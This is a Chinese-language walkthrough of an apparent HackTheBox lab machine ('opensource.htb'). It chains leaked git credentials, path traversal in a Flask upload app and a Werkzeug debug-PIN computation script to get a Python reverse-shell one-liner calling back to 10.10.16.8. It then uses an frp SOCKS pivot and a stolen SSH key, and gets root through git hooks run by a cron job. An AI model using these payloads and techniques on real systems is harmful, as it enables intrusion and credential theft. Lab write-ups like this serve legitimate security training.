前期工作
nmap 扫描结果
在download
处可以下载到源代码,发现其存在.git
文件夹
存在两个分支dev
和public
通过比较分支,发现app/.vscode/setting.json
1
2
3
4
5
|
{
"python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
"http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
"http.proxyStrictSSL": false
}
|
分析源代码view.py
和utils.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
import time
def current_milli_time():
return round(time.time() * 1000)
"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
"""
TODO: get unique filename
"""
def get_unique_upload_name(unsafe_filename):
spl = unsafe_filename.rsplit("\\.", 1)
file_name = spl[0]
file_extension = spl[1]
return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
"""
Recursively replace a pattern in a string
"""
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
|
在send_report
函数中,虽然对../
进行了过滤,但是由于os.path.join
的存在,可以进行目录遍历和任意文件读取
当os.path.join
调用遇到绝对路径时,它会忽略在该点之前遇到的所有参数并开始使用新的绝对路径,当参数可控时,我们控制恶意参数输入绝对路径,可能产生目录遍历
发现其开启了flask的debug模式,利用任意文件读取可以对flask的pin码进行破解
破解pin码,获取user权限
Flask pin码破解
https://raw.githubusercontent.com/wdahlenburg/werkzeug-debug-console-bypass/main/werkzeug-pin-bypass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address /sys/class/net/eth0/address 将16进制转换成10进制
# Machine Id: /etc/machine-id(部分linux系统可能没有,直接忽略即可) + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'1222106c-51fc-4deb-bc76-3a0e8123ecd75e5fb2cb3c55faf7ef369518259de66b251fa02647e1dca9db0b943d6f8c4235'
]
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("Pin: " + rv)
|
1
|
import os,pty,socket;s=socket.socket();s.connect(("10.10.16.8",7000));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
|
构建frp
1
2
3
4
5
6
7
8
|
[common]
server_addr = 10.10.16.8
server_port = 7777
[s5]
type = tcp
plugin = socks5
remote_port = 6000
|
发现在http://172.17.0.1:3000/存在一个Gitea页面
利用dev01:Soulless_Developer#2022
进行登录
在home-backup/.ssh/id_rsa
中得到一个ssh私钥
获取root权限
直接提权不行,用find / -user root -perm -4000 -print 2>/dev/null
也没找到可以利用的点
上个pspy
看进程监控
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
2022/08/27 06:53:01 CMD: UID=0 PID=5168 | /bin/sh -c /usr/local/bin/git-sync
2022/08/27 06:53:01 CMD: UID=0 PID=5167 | /bin/sh -c /usr/local/bin/git-sync
2022/08/27 06:53:01 CMD: UID=0 PID=5166 | /usr/sbin/CRON -f
2022/08/27 06:53:01 CMD: UID=0 PID=5169 | git status --porcelain
2022/08/27 06:53:01 CMD: UID=??? PID=5171 | ???
2022/08/27 06:53:01 CMD: UID=0 PID=5172 | git commit -m Backup for 2022-08-27
2022/08/27 06:53:01 CMD: UID=0 PID=5173 | git push origin main
2022/08/27 06:53:01 CMD: UID=0 PID=5174 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
2022/08/27 06:54:01 CMD: UID=0 PID=5182 | /bin/sh -c /root/meta/app/clean.sh
2022/08/27 06:54:01 CMD: UID=0 PID=5181 | /bin/sh -c cp /root/config /home/dev01/.git/config
2022/08/27 06:54:01 CMD: UID=0 PID=5180 | /usr/sbin/CRON -f
2022/08/27 06:54:01 CMD: UID=0 PID=5179 | /usr/sbin/CRON -f
2022/08/27 06:54:01 CMD: UID=0 PID=5178 | /usr/sbin/CRON -f
2022/08/27 06:54:01 CMD: UID=0 PID=5177 | /usr/sbin/CRON -f
2022/08/27 06:54:01 CMD: UID=0 PID=5183 | /bin/bash /root/meta/app/clean.sh
2022/08/27 06:54:01 CMD: UID=0 PID=5184 | /bin/sh -c /usr/local/bin/git-sync
2022/08/27 06:54:01 CMD: UID=0 PID=5187 | /bin/bash /root/meta/app/clean.sh
2022/08/27 06:54:01 CMD: UID=0 PID=5186 | git status --porcelain
2022/08/27 06:54:01 CMD: UID=0 PID=5189 | /bin/bash /root/meta/app/clean.sh
2022/08/27 06:54:01 CMD: UID=0 PID=5188 | /bin/bash /root/meta/app/clean.sh
2022/08/27 06:54:01 CMD: UID=0 PID=5190 | date +%Y-%m-%d
2022/08/27 06:54:01 CMD: UID=0 PID=5191 | /bin/bash /usr/local/bin/git-sync
2022/08/27 06:54:01 CMD: UID=0 PID=5192 | /bin/bash /usr/local/bin/git-sync
2022/08/27 06:54:01 CMD: UID=0 PID=5193 | git push origin main
2022/08/27 06:54:01 CMD: UID=0 PID=5199 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
2022/08/27 06:54:01 CMD: UID=0 PID=5221 | /lib/systemd/systemd-udevd
|
以root
权限运行/usr/local/bin/git-sync
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi
|
利用git hooks
以root
身份进行命令执行
手写 git hooks 脚本(pre-commit、commit-msg)
记得给pre-commit
加权限